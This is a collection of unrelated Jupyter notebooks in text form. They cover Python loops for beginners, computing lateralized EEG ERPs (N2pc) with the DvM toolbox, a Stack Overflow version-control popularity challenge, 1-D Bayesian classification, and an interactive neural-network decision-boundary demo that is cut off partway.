# To learn more about what EconML can do for you, visit the [website](https://aka.ms/econml), [GitHub page](https://github.com/microsoft/EconML) or [docummentation](https://econml.azurewebsites.net/).
#
# To learn more about what DoWhy can do for you, visit the [GitHub page](https://github.com/microsoft/dowhy) or [documentation](https://microsoft.github.io/dowhy/index.html).
# -
| notebooks/CustomerScenarios/Case Study - Recommendation AB Testing at An Online Travel Company - EconML + DoWhy.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# + [markdown] id="view-in-github" colab_type="text"
# <a href="https://colab.research.google.com/github/madhavjk/CP-Python/blob/main/Session_4_(Loops).ipynb" target="_parent"><img src="https://colab.research.google.com/assets/colab-badge.svg" alt="Open In Colab"/></a>
# + [markdown] id="45f4573d"
# # Loops
# + [markdown] id="b48eb072"
# ## Initialization, Condition, Step (Increment / decrement)
# + id="277a5c56" outputId="4e242f11-2e23-4de6-d68e-36edd97eb044"
a = 'Hello'
for i in a:
print(i, end = ' ')
# + id="bf6501b4" outputId="0e720726-d993-467c-f787-9c3f4501e229"
l = [1,2,3,4,5]
for i in l:
print(i, end = ' ')
# + id="dce15c8f" outputId="4a0ed091-696e-42f8-ec05-a12bd6c364a3"
for i in range(0, 11, 1):
print(i, end = ' ')
# + id="43f74db3" outputId="12b343ed-85c0-483b-91d2-b5a029775864"
for i in range(11):
print(i, end = ' ')
# + id="4dc2dfad" outputId="3e6f27de-259a-42bf-95e9-eee6099035ba"
a = range(11)
for i in a:
print(i, end = ' ')
# + id="0f8c61d2" outputId="14266334-06bc-4ba9-c841-28ca90f02637"
l = [1,2,3,4,5,6,7,8,9,10]
for i in range(len(l)):
print(l[i], end = ' ')
# + id="74054643" outputId="b75a72bb-de22-4cbb-ae0f-a441b9d0b03d"
for i in range(4):
for j in range(3):
for k in range(2):
print(i,j,k, end = ' ')
print()
# + id="da30d961" outputId="ea1886e2-77a2-479e-8655-22380ab0630b"
# Number Pattern
for i in range(1,6):
for j in range(1,i+1):
print(j,end =" ")
print()
# + id="0d36727b" outputId="1776efa3-c152-465c-ed59-73491a72ef1f"
# Pyramid pattern
n=5
for i in range(1,6):
for k in range(n-i):
print(end=' ')
for j in range(1,2*i):
print('#',end='')
print()
# + id="ac87cb5b" outputId="68407ac2-3919-4047-8b75-ba633e453be2"
for i in range(0,5):
for j in range(0,5-i-1):
print(' ',end = "")
for k in range(0,2*i+1):
print('#',end = '')
print()
# + id="af7ec513" outputId="a01a5d0e-3e23-4ecc-a36f-1cc2ac2a208b"
n=int(input())
for i in range(n):
for j in range(n):
if j>i:
print(' ',end=" ")
for k in range(2*i+1):
print('#',end='')
print()
# + id="c237711d" outputId="3f0ca430-2528-4fad-8bcb-44a112d2f570"
n=6
for i in range(n,0,-1):
for j in range(n-i):
print(' ',end="")
for k in range(2*i-1):
print('#',end='')
print()
# + [markdown] id="7ba291b5"
# ## While Loops
# + id="2d957e33" outputId="c84b1d30-521f-464c-f044-fb12da177500"
i = 0
while i < 10:
print(i, end = ' ')
i += 1
# + id="f7f343ec" outputId="9e39564d-8466-4b04-ff7b-de9e71e87937"
i = 1
while i <= 10:
if i % 2 == 0:
print(i, 'Even')
else:
print(i, 'Odd')
i += 1
# + [markdown] id="fbeca948"
# ## break
# + id="b64e16b2" outputId="94fca336-d604-4e97-a905-9fcd1361f7af"
i = 0
while True:
if i == 5:
break
print(i)
i += 1
# + [markdown] id="c4f0cd1e"
# ## continue
# + id="fba4e2ac" outputId="f7260d76-b7c6-44c1-d5a7-49bd52f3648f"
i = 0
while i < 10:
i += 1
if i % 2 == 0:
continue
print(i, 'Even')
else:
print(i, 'Odd')
# + [markdown] id="ab9af35e"
# ## pass
# + id="2c03baab" outputId="11f20151-cdeb-4f65-bab0-5cd76cf16862"
i = 0
while i < 10:
i += 1
if i % 2 == 0:
pass
else:
print(i, 'Odd')
# + id="5ee83e44" outputId="2d361b6a-a4a4-4d8f-b615-0b372d87e94d"
i = 0
while i < 5:
print(i)
i += 1
else:
print('i is greater than 5')
# + id="1aa03b1b" outputId="b1bd2f9a-d223-4b08-8bc8-8da0b2517014"
for i in range(5):
print(i)
else:
print('i is greater than 5')
# + id="ec55438f" outputId="e2b8b339-eac8-425b-fbb0-38352fd30768"
i = 0
while i < 5:
if i == 4:
break
print(i)
i += 1
else:
print('i is greater than 5')
# + id="5402ab11" outputId="e800b3c8-8640-41f8-ddee-39905b7fcc51"
n = 23
for i in range(2, int(n**0.5)+ 1):
if n % i == 0:
print('Not Prime')
break
else:
print('Prime')
# + id="aed27a3b"
| Session_4_(Loops).ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# + [markdown] toc=true
# <h1>Lateralized ERP's<span class="tocSkip"></span></h1>
# <div class="toc"><ul class="toc-item"><li><span><a href="#Condition-specific-ERPs-(step-by-step)" data-toc-modified-id="Condition-specific-ERPs-(step-by-step)-1"><span class="toc-item-num">1 </span>Condition specific ERPs (step by step)</a></span><ul class="toc-item"><li><span><a href="#select-data-of-interest" data-toc-modified-id="select-data-of-interest-1.1"><span class="toc-item-num">1.1 </span>select data of interest</a></span></li><li><span><a href="#determine-lateralization" data-toc-modified-id="determine-lateralization-1.2"><span class="toc-item-num">1.2 </span>determine lateralization</a></span></li><li><span><a href="#average-across-trials-and-electrodes" data-toc-modified-id="average-across-trials-and-electrodes-1.3"><span class="toc-item-num">1.3 </span>average across trials and electrodes</a></span></li><li><span><a href="#baseline-correction" data-toc-modified-id="baseline-correction-1.4"><span class="toc-item-num">1.4 </span>baseline correction</a></span></li><li><span><a href="#inspect-ERP" data-toc-modified-id="inspect-ERP-1.5"><span class="toc-item-num">1.5 </span>inspect ERP</a></span></li></ul></li><li><span><a href="#Condition-specific-ERPs-(DvM-toolbox)" data-toc-modified-id="Condition-specific-ERPs-(DvM-toolbox)-2"><span class="toc-item-num">2 </span>Condition specific ERPs (DvM toolbox)</a></span><ul class="toc-item"><li><span><a href="#Instantiate-ERP-object" data-toc-modified-id="Instantiate-ERP-object-2.1"><span class="toc-item-num">2.1 </span>Instantiate ERP object</a></span></li><li><span><a href="#Flip-topography" data-toc-modified-id="Flip-topography-2.2"><span class="toc-item-num">2.2 </span>Flip topography</a></span></li><li><span><a href="#Create-ipsi-and-contralateral-waveforms" data-toc-modified-id="Create-ipsi-and-contralateral-waveforms-2.3"><span class="toc-item-num">2.3 </span>Create ipsi and contralateral waveforms</a></span></li><li><span><a href="#Inspect-the-result" data-toc-modified-id="Inspect-the-result-2.4"><span class="toc-item-num">2.4 </span>Inspect the result</a></span></li><li><span><a href="#Extra-options" data-toc-modified-id="Extra-options-2.5"><span class="toc-item-num">2.5 </span>Extra options</a></span></li></ul></li></ul></div>
# -
# This tutorial goes over how to create ERPs from preprocessed data. To be able to run this notebook, first you need to make sure that the example data is downloaded. The data can be downloaded [here](https://osf.io/j86zp/). To be able to read in the data make sure that both files are stored in the tutorial folder of the DvM toolbox in the following folders.
#
# eeg data ('.fif'): .../tutorials/processed/ <br>
# behavioral data ('.pickle'): .../tutorials/beh/processed
#
#
# Once the data is saved, we start by importing the modules we need:
# +
# import python packages
import sys
import numpy as np
import pandas as pd
import seaborn as sns
import mne.filter
import matplotlib.pyplot as plt
# import DvM toolbox
sys.path.append('/Users/dvm/DvM') # point to local storage DvM toolbox
from support.FolderStructure import *
from eeg_analyses.ERP import *
# -
# As a first step, we start by loading example data from 1 subject. This data is obtained in the following [paper](https://doi.org/10.1016/j.cortex.2021.01.010) and the raw data from all subjects can be downloaded [here](https://osf.io/n35xa/). The paradigm is shown below. In short, participants came to the lab twice, to perform a mixed-features and a fixed-features variant of the additional singleton paradigm (Theeuwes, 1992). Halfway, each experimental session, a high probability distractor location was introduced. As always all relevant experimental variables are stored in a seperate behavioral file that will be read in alongside the eeg data:
#
# <img src="erp_design.png" style="width:600px;height=300px"/>
# read in data
sj = 'erp'
beh, eeg = FolderStructure().loadData(sj = sj)
eeg.baseline = None # reset baseling procedure used during preprocessing
# ### Condition specific ERPs (step by step)
# Now that we have read in the data, it is time to create an ERP (i.e., a stereotyped electrophysiological response to a stimulus). Here we are going to examine whether targets (i.e., the unique shape in the display) elicit an [N2pc](https://en.wikipedia.org/wiki/N2pc#:~:text=N2pc%20refers%20to%20an%20ERP,the%20brain%2C%20and%20vice%20versa.), which is a more pronounced negativity over posterior electrode sides contralateral than ipsilateral to the stimulus of interest. Before demonstrating how such a lateralized component can be obtained with the DvM toolbox, we are first going to go over the necessary steps ourselves.
# #### select data of interest
# - For now we only take data from the blocks without a spatial bias into consideration (see trial design)
# - As this is lateralized component we need to make sure that we only select trials where the target was on the horizontal midline and the distractor was on the vertical midline or absent
# mask data of interest on the basis of behavioral parameters
mask = (beh.target_loc.isin([2,6])) & (beh.dist_loc.isin(['None', '0','4'])) & (beh.spatial_bias == 'no bias')
beh_ = beh[mask]
eeg_ = eeg[mask]
# #### determine lateralization
#
# In the preceding step we made sure that we only selected trials with distractors either being absent (label = 'None') or present on the vertical midline (label = '0' or '4'). Also we only selected lateralized targets. That is we only selected trials where the target was presented right (label = 6) or left (label = 2) from fixation. Next, we need to select the data such that we can create an ipsilateral (i.e.,electrodes belonging to the same hemifield as displayed stimulus) and a contralateral waveform (i.e.,electrodes belonging to the opposite hemifield as displayed stimulus).
#
# - As electrode pairs of interest, we select P7/P8 and PO7/PO8 (i.e., typical N2pc electrodes)
#
# +
# get electrodes of interest
left_elec, right_elec = ['P7','PO7'], ['P8','PO8']
left_elec_idx = [eeg.ch_names.index(elec) for elec in left_elec]
right_elec_idx = [eeg.ch_names.index(elec) for elec in right_elec]
# split trials with targets left and right from fixation
left_mask = beh_.target_loc == 2
right_mask = beh_.target_loc == 6
# based on left and right trials create contra and ipsi waveforms
contra = np.vstack((eeg_._data[left_mask][:, right_elec_idx], eeg_._data[right_mask][:, left_elec_idx]))
ipsi = np.vstack((eeg_._data[left_mask][:, left_elec_idx], eeg_._data[right_mask][:, right_elec_idx]))
# -
# #### average across trials and electrodes
#
# The underlying assumption of ERP analysis is that by averaging many trials together, random brain activity will be averaged out, and hence the relevant waveform remains. The contralateral and the ipsilateral waveforms created in the cell above still contain all individual trials. Thus, to create the ERP we need to average across trials (i.e., the first dimension in the arrays; epochs X electrodes X times). Also, since we are interested in the average response at the electrodes of interest, we need to average across electrodes (i.e., the second dimension in the array)
# average across trials and electrodes
contra = contra.mean(axis = (0,1))
ipsi = ipsi.mean(axis = (0,1))
# #### baseline correction
# Almost there now. However, before we can inspect the resulting waveforms we need to apply a baseline correction. As EEG is a time-resolving signal, it often contains temporal drifts which are unrelated to our experimental question. Various internal and external sources may cause temporal drifts, which can change over time and electrodes. To reduce the effect of such drifts, it is custom to perform a so-called baseline correction. Essentially, this consists of using EEG activity over a baseline period (i.e., in our case the onset of the search display), to correct activity over a post-stimulus interval (i.e., in out case visual search itself). Although various approaches exist for baseline correction, the most common method in ERP research is subtracting the mean of a baseline period from every time point of the baseline and post-stimulus interval. In other words, the average voltage values of each electrode are calculated within a time interval and then this average is substracted from that time interval of the signal.
#
# As explained [here](https://erpinfo.org/order-of-steps), baseline correction is a linear operation. This means that you can perform baseline correction before or after averaging all trials together, and the result will be identical.
#
# In our example, onset of the search is at time point 0 and we will baseline correct over a (-200-ms,0-ms) prestimulus window.
# +
# get indices of baseline window
base_time = (-0.2,0)
base_idx = slice(*[np.argmin(abs(eeg.times - t)) + i for t,i in zip(base_time, (0,1))]) # control for slice stop at end - 1
# perform baseline correction
contra -= contra[base_idx].mean()
ipsi -= ipsi[base_idx].mean()
# -
# #### inspect ERP
#
# To inspect the resulting ERP, we inspect both the contralateral and ipsilateral waveforms as well as the difference waveform that results from subtracting the ipsilateral waveform from the contralateral waveform. A common step at this point is to filter out the high frequency noise that is present in the resulting waveforms. In the cell below we will first apply a 30-Hz low pass filter and then plot only the relevant window of interest. Note, that the data actually contain more timepoint than we are actually interested in, so that data can be 'safely' filtered without worrying too much at [filter artefacts](https://mne.tools/stable/auto_tutorials/discussions/plot_background_filtering.html) near the edges.
#
# Run the cells below, to see whether the resulting waveform is as expected? Also, play around with some different settings to see how the end result changes. For example, what are the characteristics of the waveform when it is tuned to the distractor instead of the target location. Inspect the [paper](https://doi.org/10.1016/j.cortex.2021.01.010) for the observed pattern across conditions.
# apply a 30-Hz low pass filter to the data
contra = mne.filter.filter_data(contra, sfreq = 512, l_freq = None, h_freq = 30)
ipsi = mne.filter.filter_data(ipsi, sfreq = 512, l_freq = None, h_freq = 30)
# +
# set up plotting parameters
times_oi = (-0.2, 0.55)
times_oi_idx = slice(*[np.argmin(abs(eeg.times - t)) + i for t,i in zip(times_oi, (0,1))])
# plot contralateral and ipsilateral waveforms
ax = plt.subplot(1,2,1, xlabel = 'Time', ylabel = 'micro V', title = 'lateralized waveforms')
plt.plot(eeg.times[times_oi_idx], contra[times_oi_idx], label = 'contra', color = 'grey')
plt.plot(eeg.times[times_oi_idx], ipsi[times_oi_idx], label = 'ipsi', color = 'red')
plt.axvline(0, ls = '--', color = 'black')
plt.axhline(0, ls = '--', color = 'black')
plt.legend(loc = 'best')
sns.despine(offset = 10)
# plot difference waveform
ax = plt.subplot(1,2,2, xlabel = 'Time', ylabel = 'micro V', title = 'difference waveform')
diff = contra - ipsi
plt.plot(eeg.times[times_oi_idx], diff[times_oi_idx], color = 'black')
plt.axvline(0, ls = '--', color = 'black')
plt.axhline(0, ls = '--', color = 'black')
sns.despine(offset = 10)
plt.tight_layout()
# -
# ### Condition specific ERPs (DvM toolbox)
#
# In the above, we have created a target tuned difference waveform in four individual steps (1. select data, 2. determine lateralization, 3. averaging, 4. baseline correction). The cell below demonstrates how these steps can be easily combined by the ERP class in the DvM toolbox using a few lines of code.
# #### Instantiate ERP object
#
# To be able to calculate ERPs, as a first step we need to instantiate the ERP class. Apart from the data (i.e., eeg and behavioral data) we need to pass at least two arguments, namely header and baseline. Header should be a string that refers to the column key in the beh dataframe, where information about the stimulus of interest is defined (i.e., in the example case, the column with target locations). Baseline is a tuple specifying the baseline window that will be used in the analysis.
# to make use of the ERP class, first instantiate a ERP object
erp = ERP(eeg, beh, header = 'target_loc', baseline = (-0.2,0))
# #### Flip topography
#
# In step 2 of the step by step ERP creation, we determined lateralization by specifying left and right electrodes. Within the ERP class, lateralization is handled by flipping the data from one hemifield to the other hemifield for all trials where the stimuli of interest was presented left from fixation. In other words, when calculating the ERPs it is assumed that all stimuli were presented right from fixation.
#
# To flip the data, we first specify the window of interest, and apply a low pass filter (optional), so that filtering is applied before slicing the relevant time points.
erp.selectERPData(time = [-0.2, 0.55], h_filter = 30)
erp.topoFlip(left = [2], header = 'target_loc')
# #### Create ipsi and contralateral waveforms
#
# Now everything is set up such, that we can create our ERPs using the ipsiContra function. This function has various options, which can be inspected below. For now, we ignore several of these options, and only try to mimic the waveform calculated in our step by step process.
# +
# inspect ipsiContra docstring
# erp.ipsiContra?
# -
# Remember, the relevant settings that we used before, were the following.
#
# - only include data from no spatial bias blocks
# - only include lateralized targets (labels = 2 (left) and 6 (right)
# - only include include trials with a distractor on the midline, or no distractor
# calculate ERP
erp.ipsiContra(sj = sj, left = [2], right = [6], l_elec = ['P7','PO7'],
r_elec = ['P8','PO8'], midline = {'dist_loc': ['0','4','None']},
conditions = ['no bias'], cnd_header = 'spatial_bias',
erp_name = 'target_N2pc', )
# #### Inspect the result
#
# At this point, you may be surprised to find no clear output. This is because, for each call of the ipsiContra function an output file will be created with the relevant info specified in the function call. The cell below shows how this data, which is stored as an [mne evoked object](https://mne.tools/stable/generated/mne.Evoked.html), can be read in. It is beyond the scope of this tutorial to show all plotting options that are implemented by mne. Here we focus on how to use the evoked object to plot the difference waveform (and compare the result to step by step end result).
# read in evoked object
erp = mne.Evoked(FolderStructure().FolderTracker(['erp','target_loc'], 'sj_erp-target_N2pc-no bias-ave.fif'))
# +
# specify ipsi and contralateral waveforms
contra_elec, ipsi_elec = ['P7','PO7'], ['P8','PO8']
contra_elec_idx = [eeg.ch_names.index(elec) for elec in contra_elec]
ipsi_elec_idx = [eeg.ch_names.index(elec) for elec in ipsi_elec]
# extract ipsi and contralateral data
contra = erp._data[contra_elec_idx].mean(axis = 0)
ipsi = erp._data[ipsi_elec_idx].mean(axis = 0)
# plot contralateral and ipsilateral waveforms
ax = plt.subplot(1,2,1, xlabel = 'Time', ylabel = 'micro V', title = 'lateralized waveforms')
plt.plot(erp.times, contra, label = 'contra', color = 'grey')
plt.plot(erp.times, ipsi, label = 'ipsi', color = 'red')
plt.axvline(0, ls = '--', color = 'black')
plt.axhline(0, ls = '--', color = 'black')
plt.legend(loc = 'best')
sns.despine(offset = 10)
# plot difference waveform
ax = plt.subplot(1,2,2, xlabel = 'Time', ylabel = 'micro V', title = 'difference waveform')
diff = contra - ipsi
plt.plot(erp.times, diff, color = 'black')
plt.axvline(0, ls = '--', color = 'black')
plt.axhline(0, ls = '--', color = 'black')
sns.despine(offset = 10)
plt.tight_layout()
# -
# #### Extra options
#
# The ERP class offers several extra options. For example the snippet of code below, shows how to calculate ERPs tuned to the distractor, seperately for spatial and no spatial bias blocks, using only correct responses and split by response time (i.e., fast vs. slow responses).
# +
# read in data
beh, eeg = FolderStructure().loadData(sj = sj)
eeg.baseline = None # reset baseling procedure used during preprocessing
# instantiate a ERP object
erp = ERP(eeg, beh, header = 'dist_loc', baseline = (-0.2,0))
# flip topography
erp.selectERPData(time = [-0.2, 0.55], h_filter = 30, excl_factor = dict(correct = [0]))
erp.topoFlip(left = ['2'], header = 'dist_loc')
# calculate ERP
erp.ipsiContra(sj = sj, left = ['2'], right = ['6'], l_elec = ['P7','PO7'],
r_elec = ['P8','PO8'], midline = {'target_loc': [0,4]},
conditions = ['no bias','bias'], cnd_header = 'spatial_bias',
erp_name = 'dist_tuned', RT_split = True)
| tutorials/ERP.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# # Analyzing the community activity for version control systems
# ## Challenge
#
# _Level: Easy_
#
# ### Background
#
# Technology choices are different. There may be objective reasons for technology at a specific time. But those reasons often change over time. But the developed deep love for an now outdated technology can prevent every progress. Thus objective reasons may become subjective which can create a toxic environment when technology updates are addressed.
#
# ### Your task
#
# You are a new team member in a software company. The developers there are using a version control system ("VCS" for short) called CVS (Concurrent Versions System). Some want to migrate to a better VCS. They prefer one that's called SVN (Subversion). You are young but not inexperienced. You heard about newer version control system named "Git". So you propose Git as an alternative to the team. They are very sceptical about your suggestion. Find evidence that shows that the software development community is mainly adopting the Git version control system!
#
# ### Your Approach?
#
# Write down your approach in the Software Analytics Canvas!
# <div style="margin-top:50px;margin-bottom:1000px;">
# <i><b>Clueless? Scroll down to see a dataset that could help you!</b></i>
# </div>
# ### The Dataset
#
# There is a dataset from the online software developer community Stack Overflow in `../datasets/stackoverflow_vcs_data_subset.gz` available with the following data:
#
# * `CreationDate`: the timestamp of the creation date of a Stack Overflow post (= question)
# * `TagName`: the tag name for a technology (in our case for only 4 VCSes: "cvs", "svn", "git" and "mercurial")
# * `ViewCount`: the numbers of views of a post
#
# These are the first 10 entries of this dataset:
#
# <small>
# <code>
# CreationDate,TagName,ViewCount
# 2008-08-01 13:56:33,svn,10880
# 2008-08-01 14:41:24,svn,55075
# 2008-08-01 15:22:29,svn,15144
# 2008-08-01 18:00:13,svn,8010
# 2008-08-01 18:33:08,svn,92006
# 2008-08-01 23:29:32,svn,2444
# 2008-08-03 22:38:29,svn,871830
# 2008-08-03 22:38:29,git,871830
# 2008-08-04 11:37:24,svn,17969
# </code>
# </small>
| challenges/Analyzing the community activity for version control systems (almost easy).ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# ---
# # Example of 1-D bayesian classification.
# ---
#
# Let us assume that we have some random data spread in a bimodal histogram and that we would like to separate the data in two classes.
# How should we proceed?
#
# For simplicity, we also assume the overall probability density function (PDF) to be a mixture of two
# gaussian PDFs. Thus we have:
#
# <blockquote> $P(x|C_{0}) = \frac{1}{\sqrt{2\pi \sigma_{0}}} e^{-(x-\mu_{0})^2/2\sigma_{0}^2}$ with a class probability of $P(C_{0})$</blockquote>
# <blockquote> $P(x|C_{1}) = \frac{1}{\sqrt{2\pi \sigma_{1}}} e^{-(x-\mu_{1})^2/2\sigma_{1}^2}$ with a class probability of $P(C_{1})$</blockquote>
#
# where $P(x|C_{i})$ is the probability density of observing x in class i. The overall PDF is given by:
#
# <blockquote> $P(x) = P(C_{0}) P(x|C_{0}) + P(C_{1}) P(x|C_{1})$</blockquote>
#
#
# We can use Bayes' method to obtain the <i>a posteriori</i> class probability $P(C_{i}|x)$ which is the probability of class i given the observation x. <br>
#
# Why should we bother? Actually, we are often more interested in predicting the most probable class given an observation x than
# knowing the probability of observing x in a given class.
#
# Using this information, we will be able to locate the boundaries delimiting the influence zone of each class, i.e. where $P(C_{1}|x) > P(C_{0}|x)$ or $P(C_{0}|x) > P(C_{1}|x)$
#
# +
print(__doc__)
# Author: <NAME> <<EMAIL>>
# License: BSD
import matplotlib.pyplot as plt
import scipy.stats
import numpy as np
import math
import seaborn as sns
sns.set(color_codes=True)
# Used for reproductibility of the results
np.random.seed(43)
# -
# Let us define a function to generate the individual PDFs, i.e. the density probability of an
# observation x in each class: $P(x|C_{i})$.
def generate_PDF():
x = np.linspace(-10., 10., 100)
pdf_a = scipy.stats.norm.pdf(x,mu[0],sigma[0])
pdf_b = scipy.stats.norm.pdf(x,mu[1],sigma[1])
return (x, pdf_a, pdf_b)
# Using the density probability of observing x in each class $P(x|C_{i})$ and the <i>a priori</i> class
# probabilities $P(C_{i})$, we can compute the <i>a posteriori</i> probabilities $P(C_{i}|x)$. Those are
# the probabilities of each class given the observations x. <br>
#
# According to Bayes' theorem, the <i>a posteriori</i> probabilities are: <br>
# <blockquote> $P(C_{i}|x) = P(x|C_{i}) P(C_{i}) / P(x)$ </blockquote>
#
# with the normalization factor $P(x)$: <br>
# <blockquote> $P(x) = \sum_{i=1}^{2}{P(x|C_{i}) P(C_{i})}$ </blockquote>
def compute_a_posteriori_probabilities():
# We use the discriminant function notation h(x).The denominator is the normalization factor
h_a = pdf_a*pC[0]/(pdf_a*pC[0] + pdf_b*pC[1])
h_b = 1- h_a
return (h_a, h_b)
# We use this printing function to make the code more readable.
def print_distributions():
# Display P(X|C) and P(C|X) for each class
label0 = "$\mu$ = %.0f $\sigma$ = %.1f $P(C_{0})$ = %.1f" % (mu[0], sigma[0], pC[0])
label1 = "$\mu$ = %.0f $\sigma$ = %.1f $P(C_{1})$ = %.1f" % (mu[1], sigma[1], pC[1])
fig, axs = plt.subplots(2, 1, figsize=(10, 6), sharex=True)
axs[0].plot(x,pdf_a, color='red', label=label0)
axs[0].plot(x,pdf_b, color='blue', label=label1, linestyle='--')
axs[0].legend(facecolor="wheat", shadow=True)
axs[0].set_xlabel('x')
axs[0].set_ylabel('$P(x|C)$')
axs[0].set_title('Class PDFs',fontsize=10)
axs[1].plot(x,h_a, color='red')
axs[1].plot(x,h_b, color='blue',linestyle='--')
axs[1].set_xlabel('x')
axs[1].set_ylabel('$P(C|x)$')
axs[1].set_title('$\it{A Posteriori}$ Class Probabilities',fontsize=10)
plt.savefig(figName + '.png')
plt.savefig(figName + '.pdf')
plt.show()
# ## Example I: PDFs with identical standard deviations and <i>a priori</i> class probabilities
#
# This is a simple example where the individual PDFs are similar except for their mean values. Looking at the first panel
# below, a threshold value of $x=0$ can delineate the influence zone of each class :
# <blockquote> Class 1 wins when $P(C_{1}|x) > P(C_{0}|x)$ i.e. when $x \geq 0$ </blockquote>
#
# There is no need to look at the second panel; the curves' symmetry in the first panel is enough. No need
# for Bayes' theorem here.
# +
mu = [-2.0, 2.0]
sigma = [2.0, 2.0]
pC = [0.5, 0.5]
(x, pdf_a, pdf_b) = generate_PDF()
(h_a, h_b) = compute_a_posteriori_probabilities()
figName = "Easy 1-D Bayesian classification"
print_distributions()
# -
# ## Example II: PDFs with different standard deviations and <i>a priori</i> class probabilities
#
# This a more difficult problem. In the first panel below, both curves cross each other twice along the x axis. Hence, there are 2 thresholds delimiting
# the local winning class but it is not obvious what their values are.
#
# It is a situation where Bayes' theorem becomes handy. The second panel shows very well where to put the thresholds:
#
# <blockquote> Class 0 wins when the <i>a posteriori</i>
# probabilities $P(C_{0}|x) > P(C_{1}|x)$ i.e. when $x \in \left[ -9, 2 \right]$ </blockquote>
#
# +
mu = [-2.0, 2.0]
sigma = [2.0, 4.0]
pC = [0.8, 0.2]
(x, pdf_a, pdf_b) = generate_PDF()
(h_a, h_b) = compute_a_posteriori_probabilities()
figName = "Hard 1-D Bayesian classification"
print_distributions()
# -
| examples_of_1D_Bayesian_classifications.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# # Neural Networks Visualized
# This little interactive tool is meant to give the user some idea of what an ANN (Artificial Neural Network) is doing under the hood. Although this example can seem oversimplified, the underlying concept extends to more complicated scenarios and higher dimensions. Warning this could get a little technical mathematically.
# +
# nbi:hide_in
import pandas as pd
import matplotlib.pyplot as plt
import numpy as np
from numpy import exp
from ipywidgets import interact
import ipywidgets as widgets
# %matplotlib inline
plt.style.use("ggplot")
# -
# ## Recap on Neural Networks
# The basic idea of an ANN revolves around the idea of neurons, weights, biases and activation functions. It takes inspiration from the way biological neural networks in our brains process information.
# ## Problem at hand
# Here, we have some very simple sample data with 2 features and a single binary response. This will simulate a classification problem where the goal, is to try and build a model that would predict whether a newly introduced data point would belong to one group or the other.
df = pd.read_csv("sample_data.csv", delimiter=",")
df
plt.scatter(
df["feature_one"],
df["feature_two"],
c=df["response"],
cmap="Accent"
)
# This is an example of a dataset being linearly separable. What this means is that, there exists a straight line that separates the green points from the grey points on the graph above. Let's now build a very simple ANN to see if it is capable of doing just that!
# ## Example A: Single Layered Networks
# The first ANN we are going to build has a structure that looks like this:
# nbi:hide_in
# %load_ext hierarchymagic
# nbi:hide_in
# %%dot
digraph {
rankdir = LR
feature_one -> output_one
feature_one -> output_two
feature_two -> output_one
feature_two -> output_two
}
# Recall that the formula for an ANN output on this dataset (without any bias terms) with 1 layer would look like: <br>
#
# $w_1 * x_1 + w_2 * x_2 = o_1$ <br>
# $w_3 * x_1 + w_4 * x_2 = o_2$<br>
#
# Now, both outputs will give us some kind of probability or likelihood that the response is either 1 or 0. For example, if $o_1$ gave an output of 0.6 and $o_2$ gave 0.4, the particular data point would then be classified as green instead of grey.
# $w_1 * x_1 + w_2 * x_2 = w_3 * x_1 + w_4 * x_2$ <br>
# $w_1 * x_1 - w_3 * x_1 = w_4 * x_2 - w_2 * x_2$<br>
# $x_1 ( w_1 - w_3) = x_2 ( w_4 - w_2)$<br>
# $x_2 = x_1\dfrac{w_1 - w_3}{w_4 - w_2}$
# nbi:hide_in
@interact(
weight_one=widgets.FloatSlider(min=-0.5, max=0.5, step=0.01, value=0.1),
weight_two=widgets.FloatSlider(min=-0.5, max=0.5, step=0.01, value=0.1),
weight_three=widgets.FloatSlider(min=-0.5, max=0.5, step=0.01, value=0.1),
weight_four=widgets.FloatSlider(min=-0.5, max=0.5, step=0.01, value=0),
)
def plot_db(weight_one, weight_two, weight_three, weight_four):
x_points = df["feature_one"].values
weights = (weight_one - weight_three) / (weight_four - weight_two)
y_points = weights * x_points
plt.scatter(
df["feature_one"],
df["feature_two"],
c=df["response"],
cmap="Accent"
)
plt.xlim(-2, 8)
plt.ylim(-2, 8)
plt.plot(x_points, y_points, alpha=1)
x = np.linspace(0, 5, 10)
boundary= np.min(list(y_points) + [0])
shade_y = np.linspace(boundary, boundary, len(x))
plt.plot(x, shade_y, alpha=0)
testing_shade_y = weights * x
# plt.fill_between(x, testing_shade_y, shade_y, where=y_points>=shade_y, facecolor='green', alpha=0.3)
# ## Example B: Bias terms
# We could see that although the current model gives us a straight line to separate the data, we don't have much of a choice in terms of choosing where the line starts although we can rotate the line almost in any direction that we want. We can overcome this by adding a bias term. Recall from simple linear regression that a bias term shifts the line up and down for a 2 dimensional dataset. Let's see what adding 2 bias terms do for our decision boundary below!
# $w_1 * x_1 + w_2 * x_2 + b_1 = o_1$ <br>
# $w_3 * x_1 + w_4 * x_2 + b_2 = o_2$<br>
# $w_1 * x_1 + w_2 * x_2 + b_1 = w_3 * x_1 + w_4 * x_2 + b_2$ <br>
# $w_1 * x_1 - w_3 * x_1 + b_1 = w_4 * x_2 - w_2 * x_2 + b_2$<br>
# $x_1 ( w_1 - w_3) + b_1 = x_2 ( w_4 - w_2) + b_2$<br>
# $x_2 = \dfrac{x_1(w_1 - w_3) + b_1 - b_2}{w_4 - w_2}$ <br>
# $x_2 = \dfrac{x_1(w_1 - w_3)}{w_4 - w_2} + \dfrac{b_1 - b_2}{w_4 - w_2}$
# nbi:hide_in
@interact(
weight_one=widgets.FloatSlider(min=-0.5, max=0.5, step=0.01, value=0.1),
weight_two=widgets.FloatSlider(min=-0.5, max=0.5, step=0.01, value=-0.02),
weight_three=widgets.FloatSlider(min=-0.5, max=0.5, step=0.01, value=0.17),
weight_four=widgets.FloatSlider(min=-0.5, max=0.5, step=0.01, value=0.17),
